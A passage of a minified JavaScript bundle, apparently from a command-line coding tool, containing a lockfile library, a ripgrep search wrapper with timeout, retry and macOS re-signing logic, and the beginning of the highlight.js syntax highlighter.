you"),{code:"ENOTACQUIRED"}));w.updateTimeout&&clearTimeout(w.updateTimeout),w.released=!0,delete cg[z],_z8(z,K,q)})}function rWq(A,K,q){K={stale:1e4,realpath:!0,fs:ob1,...K},K.stale=Math.max(K.stale||0,2000),ab1(A,K,(Y,z)=>{if(Y)return q(Y);K.fs.stat(QTA(z,K),(w,H)=>{if(w)return w.code==="ENOENT"?q(null,!1):q(w);return q(null,!$z8(H,K))})})}function oWq(){return cg}iWq(()=>{for(let A in cg){let K=cg[A].options;try{K.fs.rmdirSync(QTA(A,K))}catch(q){}}});aWq.lock=nWq;aWq.unlock=Gz8;aWq.check=rWq;aWq.getLocks=oWq});var Dz8=v((NEz,Wz8)=>{var KDq=I2();function qDq(A){let K=["mkdir","realpath","stat","rmdir","utimes"],q={...A};return K.forEach((Y)=>{q[Y]=(...z)=>{let w=z.pop(),H;try{H=A[`${Y}Sync`](...z)}catch(J){return w(J)}w(null,H)}}),q}function YDq(A){return(...K)=>new Promise((q,Y)=>{K.push((z,w)=>{if(z)Y(z);else q(w)}),A(...K)})}function zDq(A){return(...K)=>{let q,Y;if(K.push((z,w)=>{q=z,Y=w}),A(...K),q)throw q;return Y}}function wDq(A){if(A={...A},A.fs=qDq(A.fs||KDq),typeof A.retries==="number"&&A.retries>0||A.retries&&typeof A.retries.retries==="number"&&A.retries.retries>0)throw Object.assign(Error("Cannot use retries with the sync api"),{code:"ESYNC"});return A}Wz8.exports={toPromise:YDq,toSync:zDq,toSyncOptions:wDq}});var Yb=v((TEz,zi)=>{var QwA=Zz8(),{toPromise:JaA,toSync:OaA,toSyncOptions:sb1}=Dz8();async function jz8(A,K){let q=await JaA(QwA.lock)(A,K);return JaA(q)}function HDq(A,K){let q=OaA(QwA.lock)(A,sb1(K));return OaA(q)}function JDq(A,K){return JaA(QwA.unlock)(A,K)}function ODq(A,K){return OaA(QwA.unlock)(A,sb1(K))}function XDq(A,K){return JaA(QwA.check)(A,K)}function $Dq(A,K){return OaA(QwA.check)(A,sb1(K))}zi.exports=jz8;zi.exports.lock=jz8;zi.exports.unlock=JDq;zi.exports.lockSync=HDq;zi.exports.unlockSync=ODq;zi.exports.check=XDq;zi.exports.checkSync=$Dq});import{fileURLToPath as _Dq}from"node:url";import*as wi from"node:path";import{homedir as GDq}from"node:os";import{execFile as ZDq,spawn as WDq,spawnSync as DDq}from"child_process";function UwA(){let A=$aA();return{rgPath:A.command,rgArgs:A.args,argv0:A.argv0}}function PDq(A){return A.includes("os error 11")||A.includes("Resource temporarily unavailable")}function Mz8(A,K,q,Y,z=!1){let{rgPath:w,rgArgs:H,argv0:J}=UwA(),O=z?["-j","1"]:[],X=[...H,...O,...A,K],$=o6()==="wsl"?60000:20000,_=parseInt(process.env.CLAUDE_CODE_GLOB_TIMEOUT_SECONDS||"",10)||0,G=_>0?_*1000:$;if(J){let Z=WDq(w,X,{argv0:J,signal:q}),W="",D="",j=!1,M=!1;Z.stdout?.on("data",(f)=>{if(!j){if(W+=f.toString(),W.length>pTA)W=W.slice(0,pTA),j=!0}}),Z.stderr?.on("data",(f)=>{if(!M){if(D+=f.toString(),D.length>pTA)D=D.slice(0,pTA),M=!0}});let P=setTimeout(()=>{Z.kill("SIGTERM")},G);return Z.on("close",(f,N)=>{if(clearTimeout(P),f===0||f===1)Y(null,W,D);else{let T=Error(`ripgrep exited with code ${f}`);T.code=f??void 0,T.signal=N??void 0,Y(T,W,D)}}),Z.on("error",(f)=>{clearTimeout(P),Y(f,W,D)}),Z}return ZDq(w,X,{maxBuffer:pTA,signal:q,timeout:G},Y)}async function zb(A,K,q){if(!n9())await fDq();return VDq().catch((Y)=>{KA(Y instanceof Error?Y:Error(String(Y)))}),new Promise((Y,z)=>{let w=(H,J,O,X)=>{if(!H){Y(J.trim().split(` `).filter(Boolean));return}if(H.code===1){Y([]);return}if(["ENOENT","EACCES","EPERM"].includes(H.code)){z(H);return}if(!X&&PDq(O)){h("rg EAGAIN error detected, retrying with single-threaded mode (-j 1)"),n("tengu_ripgrep_eagain_retry",{}),Mz8(A,K,q,(D,j,M)=>{w(D,j,M,!0)},!0);return}let _=J&&J.trim().length>0,G=H.signal==="SIGTERM"||H.code==="ABORT_ERR",Z=H.code==="ERR_CHILD_PROCESS_STDIO_MAXBUFFER",W=[];if(_){if(W=J.trim().split(` `).filter(Boolean),W.length>0&&(G||Z))W=W.slice(0,-1)}if(h(`rg error (signal=${H.signal}, code=${H.code}, stderr: ${O}), ${W.length} results`),H.code!==2)KA(H);if(G&&W.length===0){z(new fz8(`Ripgrep search timed out after ${o6()==="wsl"?60:20} seconds. The search may have matched files but did not complete in time. Try searching a more specific path or pattern.`,W));return}Y(W)};Mz8(A,K,q,(H,J,O)=>{w(H,J,O,!1)})})}async function Nz8(A,K,q){try{return(await zb(["-l","."],A,K)).slice(0,q)}catch{return[]}}function Tz8(){let A=$aA();return{mode:A.mode,path:A.command,working:XaA?.working??null}}async function fDq(){if(process.platform!=="darwin"||Pz8)return;Pz8=!0;let A=$aA();if(A.mode!=="builtin"||n9())return;let K=A.command;if(!(await R6("codesign",["-vv","-d",K],{preserveOutputOnError:!1})).stdout.split(` `).find((z)=>z.includes("linker-signed")))return;try{let z=await R6("codesign",["--sign","-","--force","--preserve-metadata=entitlements,requirements,flags,runtime",K]);if(z.code!==0)KA(Error(`Failed to sign ripgrep: ${z.stdout} ${z.stderr}`));let w=await R6("xattr",["-d","com.apple.quarantine",K]);if(w.code!==0)KA(Error(`Failed to remove quarantine: ${w.stdout} ${w.stderr}`))}catch(z){KA(z)}}var Vz8,jDq,MDq,$aA,pTA=20000000,fz8,_aA,XaA=null,VDq,Pz8=!1;var wb=k(()=>{p7();C1();CK();Z1();l6();l1();B5();b1();Vz8=o(Nb1(),1),jDq=_Dq(import.meta.url),MDq=wi.join(jDq,"../"),$aA=z6(()=>{if(J2(process.env.USE_BUILTIN_RIPGREP)){let{cmd:Y}=Vz8.findActualExecutable("rg",[]);if(Y!=="rg")return{mode:"system",command:"rg",args:[]}}if(n9()){if(process.env.RIPGREP_EMBEDDED==="true")return{mode:"embedded",command:process.execPath,args:[],argv0:"rg"};return{mode:"builtin",command:process.execPath,args:["--ripgrep"]}}let K=wi.resolve(MDq,"vendor","ripgrep");return{mode:"builtin",command:process.platform==="win32"?wi.resolve(K,"x64-win32","rg.exe"):wi.resolve(K,`${process.arch}-${process.platform}`,"rg"),args:[]}});fz8=class fz8 extends Error{partialResults;constructor(A,K){super(A);this.partialResults=K;this.name="RipgrepTimeoutError"}};_aA=z6(async(A,K,q=[])=>{if(wi.resolve(A)===wi.resolve(GDq()))return;try{let Y=["--files","--hidden"];q.forEach((O)=>{Y.push("--glob",`!${O}`)});let w=(await zb(Y,A,K)).length;if(w===0)return 0;let H=Math.floor(Math.log10(w)),J=Math.pow(10,H);return Math.round(w/J)*J}catch(Y){KA(Y instanceof Error?Y:Error(String(Y)))}});VDq=z6(async()=>{if(XaA!==null)return;let A=$aA();try{let K;if(A.argv0){let Y=DDq(A.command,["--version"],{argv0:A.argv0,encoding:"utf8",timeout:5000});K={code:Y.status??1,stdout:Y.stdout||""}}else K=await R6(A.command,[...A.args,"--version"],{timeout:5000});let q=K.code===0&&!!K.stdout&&K.stdout.startsWith("ripgrep ");XaA={working:q,lastTested:Date.now(),config:A},h(`Ripgrep first use test: ${q?"PASSED":"FAILED"} (mode=${A.mode}, path=${A.command})`),n("tengu_ripgrep_availability",{working:q?1:0,using_system:A.mode==="system"?1:0})}catch(K){XaA={working:!1,lastTested:Date.now(),config:A},KA(K instanceof Error?K:Error(String(K)))}})});var Fz8=v((mEz,gz8)=>{function qx1(A){if(A instanceof Map)A.clear=A.delete=A.set=function(){throw Error("map is read-only")};else if(A instanceof Set)A.add=A.clear=A.delete=function(){throw Error("set is read-only")};return Object.freeze(A),Object.getOwnPropertyNames(A).forEach(function(K){var q=A[K];if(typeof q=="object"&&!Object.isFrozen(q))qx1(q)}),A}var yz8=qx1,NDq=qx1;yz8.default=NDq;class Ax1{constructor(A){if(A.data===void 0)A.data={};this.data=A.data,this.isMatchIgnored=!1}ignoreMatch(){this.isMatchIgnored=!0}}function pwA(A){return A.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'")}function Hi(A,...K){let q=Object.create(null);for(let Y in A)q[Y]=A[Y];return K.forEach(function(Y){for(let z in Y)q[z]=Y[z]}),q}var TDq="</span>",vz8=(A)=>{return!!A.kind};class Iz8{constructor(A,K){this.buffer="",this.classPrefix=K.classPrefix,A.walk(this)}addText(A){this.buffer+=pwA(A)}openNode(A){if(!vz8(A))return;let K=A.kind;if(!A.sublanguage)K=`${this.classPrefix}${K}`;this.span(K)}closeNode(A){if(!vz8(A))return;this.buffer+=TDq}value(){return this.buffer}span(A){this.buffer+=`<span class="${A}">`}}class Yx1{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(A){this.top.children.push(A)}openNode(A){let K={kind:A,children:[]};this.add(K),this.stack.push(K)}closeNode(){if(this.stack.length>1)return this.stack.pop();return}closeAllNodes(){while(this.closeNode());}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(A){return this.constructor._walk(A,this.rootNode)}static _walk(A,K){if(typeof K==="string")A.addText(K);else if(K.children)A.openNode(K),K.children.forEach((q)=>this._walk(A,q)),A.closeNode(K);return A}static _collapse(A){if(typeof A==="string")return;if(!A.children)return;if(A.children.every((K)=>typeof K==="string"))A.children=[A.children.join("")];else A.children.forEach((K)=>{Yx1._collapse(K)})}}class Sz8 extends Yx1{constructor(A){super();this.options=A}addKeyword(A,K){if(A==="")return;this.openNode(K),this.addText(A),this.closeNode()}addText(A){if(A==="")return;this.add(A)}addSublanguage(A,K){let q=A.root;q.kind=K,q.sublanguage=!0,this.add(q)}toHTML(){return new Iz8(this,this.options).value()}finalize(){return!0}}function vDq(A){return new RegExp(A.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")}function dTA(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function EDq(...A){return A.map((q)=>dTA(q)).join("")}function kDq(...A){return"("+A.map((q)=>dTA(q)).join("|")+")"}function CDq(A){return new RegExp(A.toString()+"|").exec("").length-1}function LDq(A,K){let q=A&&A.exec(K);return q&&q.index===0}var RDq=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./;function yDq(A,K="|"){let q=0;return A.map((Y)=>{q+=1;let z=q,w=dTA(Y),H="";while(w.length>0){let J=RDq.exec(w);if(!J){H+=w;break}if(H+=w.substring(0,J.index),w=w.substring(J.index+J[0].length),J[0][0]==="\\"&&J[1])H+="\\"+String(Number(J[1])+z);else if(H+=J[0],J[0]==="(")q++}return H}).map((Y)=>`(${Y})`).join(K)}var IDq=/\b\B/,hz8="[a-zA-Z]\\w*",zx1="[a-zA-Z_]\\w*",wx1="\\b\\d+(\\.\\d+)?",bz8="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",xz8="\\b(0b[01]+)",SDq="!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",hDq=(A={})=>{let K=/^#![ ]*\//;if(A.binary)A.begin=EDq(K,/.*\b/,A.binary,/\b.*/);return Hi({className:"meta",begin:K,end:/$/,relevance:0,"on:begin":(q,Y)=>{if(q.index!==0)Y.ignoreMatch()}},A)},cTA={begin:"\\\\[\\s\\S]",relevance:0},bDq={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[cTA]},xDq={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[cTA]},uz8={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},ZaA=function(A,K,q={}){let Y=Hi({className:"comment",begin:A,end:K,contains:[]},q);return Y.contains.push(uz8),Y.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),Y},uDq=ZaA("//","$"),BDq=ZaA("/\\*","\\*/"),mDq=ZaA("#","$"),gDq={className:"number",begin:wx1,relevance:0},FDq={className:"number",begin:bz8,relevance:0},QDq={className:"number",begin:xz8,relevance:0},UDq={className:"number",begin:wx1+"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},pDq={begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[cTA,{begin:/\[/,end:/\]/,relevance:0,contains:[cTA]}]}]},dDq={className:"title",begin:hz8,relevance:0},cDq={className:"title",begin:zx1,relevance:0},lDq={begin:"\\.\\s*"+zx1,relevance:0},iDq=function(A){return Object.assign(A,{"on:begin":(K,q)=>{q.data._beginMatch=K[1]},"on:end":(K,q)=>{if(q.data._beginMatch!==K[1])q.ignoreMatch()}})},GaA=Object.freeze({__proto__:null,MATCH_NOTHING_RE:IDq,IDENT_RE:hz8,UNDERSCORE_IDENT_RE:zx1,NUMBER_RE:wx1,C_NUMBER_RE:bz8,BINARY_NUMBER_RE:xz8,RE_STARTERS_RE:SDq,SHEBANG:hDq,BACKSLASH_ESCAPE:cTA,APOS_STRING_MODE:bDq,QUOTE_STRING_MODE:xDq,PHRASAL_WORDS_MODE:uz8,COMMENT:ZaA,C_LINE_COMMENT_MODE:uDq,C_BLOCK_COMMENT_MODE:BDq,HASH_COMMENT_MODE:mDq,NUMBER_MODE:gDq,C_NUMBER_MODE:FDq,BINARY_NUMBER_MODE:QDq,CSS_NUMBER_MODE:UDq,REGEXP_MODE:pDq,TITLE_MODE:dDq,UNDERSCORE_TITLE_MODE:cDq,METHOD_GUARD:lDq,END_SAME_AS_BEGIN:iDq});function nDq(A,K){if(A.input[A.index-1]===".")K.ignoreMatch()}function rDq(A,K){if(!K)return;if(!A.beginKeywords)return;if(A.begin="\\b("+A.beginKeywords.split(" ").join("|")+")(?!\\.)(?=\\b|\\s)",A.__beforeBegin=nDq,A.keywords=A.keywords||A.beginKeywords,delete A.beginKeywords,A.relevance===void 0)A.relevance=0}function oDq(A,K){if(!Array.isArray(A.illegal))return;A.illegal=kDq(...A.illegal)}function aDq(A,K){if(!A.match)return;if(A.begin||A.end)throw Error("begin & end are not supported with match");A.begin=A.match,delete A.match}function sDq(A,K){if(A.relevance===void 0)A.relevance=1}var tDq=["of","and","for","in","not","or","if","then","parent","list","value"],eDq="keyword";function Bz8(A,K,q=eDq){let Y={};if(typeof A==="string")z(q,A.split(" "));else if(Array.isArray(A))z(q,A);else Object.keys(A).forEach(function(w){Object.assign(Y,Bz8(A[w],K,w))});return Y;function z(w,H){if(K)H=H.map((J)=>J.toLowerCase());H.forEach(function(J){let O=J.split("|");Y[O[0]]=[w,Ajq(O[0],O[1])]})}}function Ajq(A,K){if(K)return Number(K);return Kjq(A)?0:1}function Kjq(A){return tDq.includes(A.toLowerCase())}function qjq(A,{plugins:K}){function q(J,O){return new RegExp(dTA(J),"m"+(A.case_insensitive?"i":"")+(O?"g":""))}class Y{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(J,O){O.position=this.position++,this.matchIndexes[this.matchAt]=O,this.regexes.push([O,J]),this.matchAt+=CDq(J)+1}compile(){if(this.regexes.length===0)this.exec=()=>null;let J=this.regexes.map((O)=>O[1]);this.matcherRe=q(yDq(J),!0),this.lastIndex=0}exec(J){this.matcherRe.lastIndex=this.lastIndex;let O=this.matcherRe.exec(J);if(!O)return null;let X=O.findIndex((_,G)=>G>0&&_!==void 0),$=this.matchIndexes[X];return O.splice(0,X),Object.assign(O,$)}}class z{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(J){if(this.multiRegexes[J])return this.multiRegexes[J];let O=new Y;return this.rules.slice(J).forEach(([X,$])=>O.addRule(X,$)),O.compile(),this.multiRegexes[J]=O,O}resumingScanAtSamePosition(){return this.regexIndex!==0}considerAll(){this.regexIndex=0}addRule(J,O){if(this.rules.push([J,O]),O.type==="begin")this.count++}exec(J){let O=this.getMatcher(this.regexIndex);O.lastIndex=this.lastIndex;let X=O.exec(J);if(this.resumingScanAtSamePosition())if(X&&X.index===this.lastIndex);else{let $=this.getMatcher(0);$.lastIndex=this.lastIndex+1,X=$.exec(J)}if(X){if(this.regexIndex+=X.position+1,this.regexIndex===this.count)this.considerAll()}return X}}function w(J){let O=new z;if(J.contains.forEach((X)=>O.addRule(X.begin,{rule:X,type:"begin"})),J.terminatorEnd)O.addRule(J.terminatorEnd,{type:"end"});if(J.illegal)O.addRule(J.illegal,{type:"illegal"});return O}function H(J,O){let X=J;if(J.isCompiled)return X;[aDq].forEach((_)=>_(J,O)),A.compilerExtensions.forEach((_)=>_(J,O)),J.__beforeBegin=null,[rDq,oDq,sDq].forEach((_)=>_(J,O)),J.isCompiled=!0;let $=null;if(typeof J.keywords==="object")$=J.keywords.$pattern,delete J.keywords.$pattern;if(J.keywords)J.keywords=Bz8(J.keywords,A.case_insensitive);if(J.lexemes&&$)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");if($=$||J.lexemes||/\w+/,X.keywordPatternRe=q($,!0),O){if(!J.begin)J.begin=/\B|\b/;if(X.beginRe=q(J.begin),J.endSameAsBegin)J.end=J.begin;if(!J.end&&!J.endsWithParent)J.end=/\B|\b/;if(J.end)X.endRe=q(J.end);if(X.terminatorEnd=dTA(J.end)||"",J.endsWithParent&&O.terminatorEnd)X.terminatorEnd+=(J.end?"|":"")+O.terminatorEnd}if(J.illegal)X.illegalRe=q(J.illegal);if(!J.contains)J.contains=[];if(J.contains=[].concat(...J.contains.map(function(_){return Yjq(_==="self"?J:_)})),J.contains.forEach(function(_){H(_,X)}),J.starts)H(J.starts,O);return X.matcher=w(X),X}if(!A.compilerExtensions)A.compilerExtensions=[];if(A.contains&&A.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language. See documentation.");return A.classNameAliases=Hi(A.classNameAliases||{}),H(A)}function mz8(A){if(!A)return!1;return A.endsWithParent||mz8(A.starts)}function Yjq(A){if(A.variants&&!A.cachedVariants)A.cachedVariants=A.variants.map(function(K){return Hi(A,{variants:null},K)});if(A.cachedVariants)return A.cachedVariants;if(mz8(A))return Hi(A,{starts:A.starts?Hi(A.starts):null});if(Object.isFrozen(A))return Hi(A);return A}var zjq="10.7.3";function wjq(A){return Boolean(A||A==="")}function Hjq(A){let K={props:["language","code","autodetect"],data:function(){return{detectedLanguage:"",unknownLanguage:!1}},computed:{className(){if(this.unknownLanguage)return"";return"hljs "+this.detectedLanguage},highlighted(){if(!this.autoDetect&&!A.getLanguage(this.language))return console.warn(`The language "${this.language}" you specified could not be found.`),this.unknownLanguage=!0,pwA(this.code);let Y={};if(this.autoDetect)Y=A.highlightAuto(this.code),this.detectedLanguage=Y.language;else Y=A.highlight(this.language,this.code,this.ignoreIllegals),this.detectedLanguage=this.language;return Y.value},autoDetect(){return!this.language||wjq(this.autodetect)},ignoreIllegals(){return!0}},render(Y){return Y("pre",{},[Y("code",{class:this.className,domProps:{innerHTML:this.highlighted}})])}};return{Component:K,VuePlugin:{install(Y){Y.component("highlightjs",K)}}}}var Jjq={"after:highlightElement":({el:A,result:K,text:q})=>{let Y=Ez8(A);if(!Y.length)return;let z=document.createElement("div");z.innerHTML=K.value,K.value=Ojq(Y,Ez8(z),q)}};function Kx1(A){return A.nodeName.toLowerCase()}function Ez8(A){let K=[];return function q(Y,z){for(let w=Y.firstChild;w;w=w.nextSibling)if(w.nodeType===3)z+=w.nodeValue.length;else if(w.nodeType===1){if(K.push({event:"start",offset:z,node:w}),z=q(w,z),!Kx1(w).match(/br|hr|img|input/))K.push({event:"stop",offset:z,node:w})}return z}(A,0),K}function Ojq(A,K,q){let Y=0,z="",w=[];function H(){if(!A.length||!K.length)return A.length?A:K;if(A[0].offset!==K[0].offset)return A[0].offset<K[0].offset?A:K;return K[0].event==="start"?A:K}function J($){function _(G){return" "+G.nodeName+'="'+pwA(G.value)+'"'}z+="<"+Kx1($)+[].map.call($.attributes,_).join("")+">"}function O($){z+="</"+Kx1($)+">"}function X($){($.event==="start"?J:O)($.node)}while(A.length||K.length){let $=H();if(z+=pwA(q.substring(Y,$[0].offset)),Y=$[0].offset,$===A){w.reverse().forEach(O);do X($.splice(0,1)[0]),$=H();while($===A&&$.length&&$[0].offset===Y);w.reverse().forEach(J)}else{if($[0].event==="start")w.push($[0].node);else w.pop();X($.splice(0,1)[0])}}return z+pwA(q.substr(Y))}var kz8={},tb1=(A)=>{console.error(A)},Cz8=(A,...K)=>{console.log(`WARN: ${A}`,...K)},IE=(A,K)=>{if(kz8[`${A}/${K}`])return;console.log(`Deprecated as of ${A}. ${K}`),kz8[`${A}/${K}`]=!0},eb1=pwA,Lz8=Hi,Rz8=Symbol("nomatch"),Xjq=function(A){let K=Object.create(null),q=Object.create(null),Y=[],z=!0,w=/(^(<[^>]+>|\t|)+|\n)/gm,H="Could not find the language '{}', did you forget to load/include a language module?",J={disableAutodetect:!0,name:"Plain text",contains:[]},O={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:Sz8};function X(a){return O.noHighlightRe.test(a)}function $(a){let JA=a.className+" ";JA+=a.parentNode?a.parentNode.className:"";let jA=O.languageDetectRe.exec(JA);if(jA){let MA=d(jA[1]);if(!MA)Cz8(H.replace("{}",jA[1])),Cz8("Falling back to no-highlight mode for this block.",a);return MA?jA[1]:"no-highlight"}return JA.split(/\s+/).find((MA)=>X(MA)||d(MA))}function _(a,JA,jA,MA){let hA="",yA="";if(typeof JA==="object")hA=a,jA=JA.ignoreIllegals,yA=JA.language,MA=void 0;else IE("10.7.0","highlight(lang, code, ...args) has been deprecated."),IE("10.7.0",`Please use highlight(code, options) instead. https://github.com/highlightjs/highlight.js/issues/2277`),yA=a,hA=JA;let AA={code:hA,language:yA};qA("before:highlight",AA);let wA=AA.result?AA.result:G(AA.language,AA.code,jA,MA);return wA.code=AA.code,qA("after:highlight",wA),wA}function G(a,JA,jA,MA){function hA($1,N1){let A6=LA.case_insensitive?N1[0].toLowerCase():N1[0];return Object.prototype.hasOwnProperty.call($1.keywords,A6)&&$1.keywords[A6]}function yA(){if(!iA.keywords){v1.addText(I1);return}let $1=0;iA.keywordPatternRe.lastIndex=0;let N1=iA.keywordPatternRe.exec(I1),A6="";while(N1){A6+=I1.substring($1,N1.index);let c1=hA(iA,N1);if(c1){let[w6,DA]=c1;if(v1.addText(A6),A6="",Q1+=DA,w6.startsWith("_"))A6+=N1[0];else{let EA=LA.classNameAliases[w6]||w6;v1.addKeyword(N1[0],EA)}}else A6+=N1[0];$1=iA.keywordPatternRe.lastIndex,N1=iA.keywordPatternRe.exec(I1)}A6+=I1.substr($1),v1.addText(A6)}function AA(){if(I1==="")return;let $1=null;if(typeof iA.subLanguage==="string"){if(!K[iA.subLanguage]){v1.addText(I1);return}$1=G(iA.subLanguage,I1,!0,lA[iA.subLanguage]),lA[iA.subLanguage]=$1.top}else $1=W(I1,iA.subLanguage.length?iA.subLanguage:null);if(iA.relevance>0)Q1+=$1.relevance;v1.addSublanguage($1.emitter,$1.language)}function wA(){if(iA.subLanguage!=null)AA();else yA();I1=""}function GA($1){if($1.className)v1.openNode(LA.classNameAliases[$1.className]||$1.className);return iA=Object.create($1,{parent:{value:iA}}),iA}function OA($1,N1,A6){let c1=LDq($1.endRe,A6);if(c1){if($1["on:end"]){let w6=new Ax1($1);if($1["on:end"](N1,w6),w6.isMatchIgnored)c1=!1}if(c1){while($1.endsParent&&$1.parent)$1=$1.parent;return $1}}if($1.endsWithParent)return OA($1.parent,N1,A6)}function t($1){if(iA.matcher.regexIndex===0)return I1+=$1[0],1;else return w1=!0,0}function XA($1){let N1=$1[0],A6=$1.rule,c1=new Ax1(A6),w6=[A6.__beforeBegin,A6["on:begin"]];for(let DA of w6){if(!DA)continue;if(DA($1,c1),c1.isMatchIgnored)return t(N1)}if(A6&&A6.endSameAsBegin)A6.endRe=vDq(N1);if(A6.skip)I1+=N1;else{if(A6.excludeBegin)I1+=N1;if(wA(),!A6.returnBegin&&!A6.excludeBegin)I1=N1}return GA(A6),A6.returnBegin?0:N1.length}function VA($1){let N1=$1[0],A6=JA.substr($1.index),c1=OA(iA,$1,A6);if(!c1)return Rz8;let w6=iA;if(w6.skip)I1+=N1;else{if(!(w6.returnEnd||w6.excludeEnd))I1+=N1;if(wA(),w6.excludeEnd)I1=N1}do{if(iA.className)v1.closeNode();if(!iA.skip&&!iA.subLanguage)Q1+=iA.relevance;iA=iA.parent}while(iA!==c1.parent);if(c1.starts){if(c1.endSameAsBegin)c1.starts.endRe=c1.endRe;GA(c1.starts)}return w6.returnEnd?0:N1.length}function vA(){let $1=[];for(let N1=iA;N1!==LA;N1=N1.parent)if(N1.className)$1.unshift(N1.className);$1.forEach((N1)=>v1.openNode(N1))}let RA={};function fA($1,N1){let A6=N1&&N1[0];if(I1+=$1,A6==null)return wA(),0;if(RA.type==="begin"&&N1.type==="end"&&RA.index===N1.index&&A6===""){if(I1+=JA.slice(N1.index,N1.index+1),!z){let c1=Error("0 width match regex");throw c1.languageName=a,c1.badRule=RA.rule,c1}return 1}if(RA=N1,N1.type==="begin")return XA(N1);else if(N1.type==="illegal"&&!jA){let c1=Error('Illegal lexeme "'+A6+'" for mode "'+(iA.className||"<unnamed>")+'"');throw c1.mode=iA,c1}else if(N1.type==="end"){let c1=VA(N1);if(c1!==Rz8)return c1}if(N1.type==="illegal"&&A6==="")return 1;if(C6>1e5&&C6>N1.index*3)throw Error("potential infinite loop, way more iterations than matches");return I1+=A6,A6.length}let LA=d(a);if(!LA)throw tb1(H.replace("{}",a)),Error('Unknown language: "'+a+'"');let SA=qjq(LA,{plugins:Y}),xA="",iA=MA||SA,lA={},v1=new O.__emitter(O);vA();let I1="",Q1=0,B1=0,C6=0,w1=!1;try{iA.matcher.considerAll();for(;;){if(C6++,w1)w1=!1;else iA.matcher.considerAll();iA.matcher.lastIndex=B1;let $1=iA.matcher.exec(JA);if(!$1)break;let N1=JA.substring(B1,$1.index),A6=fA(N1,$1);B1=$1.index+A6}return fA(JA.substr(B1)),v1.closeAllNodes(),v1.finalize(),xA=v1.toHTML(),{relevance:Math.floor(Q1),value:xA,language:a,illegal:!1,emitter:v1,top:iA}}catch($1){if($1.message&&$1.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:$1.message,context:JA.slice(B1-100,B1+100),mode:$1.mode},sofar:xA,relevance:0,value:eb1(JA),emitter:v1};else if(z)return{illegal:!1,relevance:0,value:eb1(JA),emitter:v1,language:a,top:iA,errorRaised:$1};else throw $1}}function Z(a){let JA={relevance:0,emitter:new O.__emitter(O),value:eb1(a),illegal:!1,top:J};return JA.emitter.addText(a),JA}function W(a,JA){JA=JA||O.languages||Object.keys(K);let jA=Z(a),MA=JA.filter(d).filter(c).map((GA)=>G(GA,a,!1));MA.unshift(jA);let hA=MA.sort((GA,OA)=>{if(GA.relevance!==OA.relevance)return OA.relevance-GA.relevance;if(GA.language&&OA.language){if(d(GA.language).supersetOf===OA.language)return 1;else if(d(OA.language).supersetOf===GA.language)return-1}return 0}),[yA,AA]=hA,wA=yA;return wA.second_best=AA,wA}function D(a){if(!(O.tabReplace||O.useBR))return a;return a.replace(w,(JA)=>{if(JA===` `)return O.useBR?"<br>":JA;else if(O.tabReplace)return JA.replace(/\t/g,O.tabReplace);return JA})}function j(a,JA,jA){let MA=JA?q[JA]:jA;if(a.classList.add("hljs"),MA)a.classList.add(MA)}let M={"before:highlightElement":({el:a})=>{if(O.useBR)a.innerHTML=a.innerHTML.replace(/\n/g,"").replace(/<br[ /]*>/g,` `)},"after:highlightElement":({result:a})=>{if(O.useBR)a.value=a.value.replace(/\n/g,"<br>")}},P=/^(<[^>]+>|\t)+/gm,f={"after:highlightElement":({result:a})=>{if(O.tabReplace)a.value=a.value.replace(P,(JA)=>JA.replace(/\t/g,O.tabReplace))}};function N(a){let JA=null,jA=$(a);if(X(jA))return;qA("before:highlightElement",{el:a,language:jA}),JA=a;let MA=JA.textContent,hA=jA?_(MA,{language:jA,ignoreIllegals:!0}):W(MA);if(qA("after:highlightElement",{el:a,result:hA,text:MA}),a.innerHTML=hA.value,j(a,jA,hA.language),a.result={language:hA.language,re:hA.relevance,relavance:hA.relevance},hA.second_best)a.second_best={language:hA.second_best.language,re:hA.second_best.relevance,relavance:hA.second_best.relevance}}function T(a){if(a.useBR)IE("10.3.0","'useBR' will be removed entirely in v11.0"),IE("10.3.0","Please see https://github.com/highlightjs/highlight.js/issues/2559");O=Lz8(O,a)}let C=()=>{if(C.called)return;C.called=!0,IE("10.6.0","initHighlighting() is deprecated. Use highlightAll() instead."),document.querySelectorAll("pre code").forEach(N)};function R(){IE("10.6.0","initHighlightingOnLoad() is deprecated. Use highlightAll() instead."),x=!0}let x=!1;function y(){if(document.readyState==="loading"){x=!0;return}document.querySelectorAll("pre code").forEach(N)}function B(){if(x)y()}if(typeof window<"u"&&window.addEventListener)window.addEventListener("DOMContentLoaded",B,!1);function b(a,JA){let 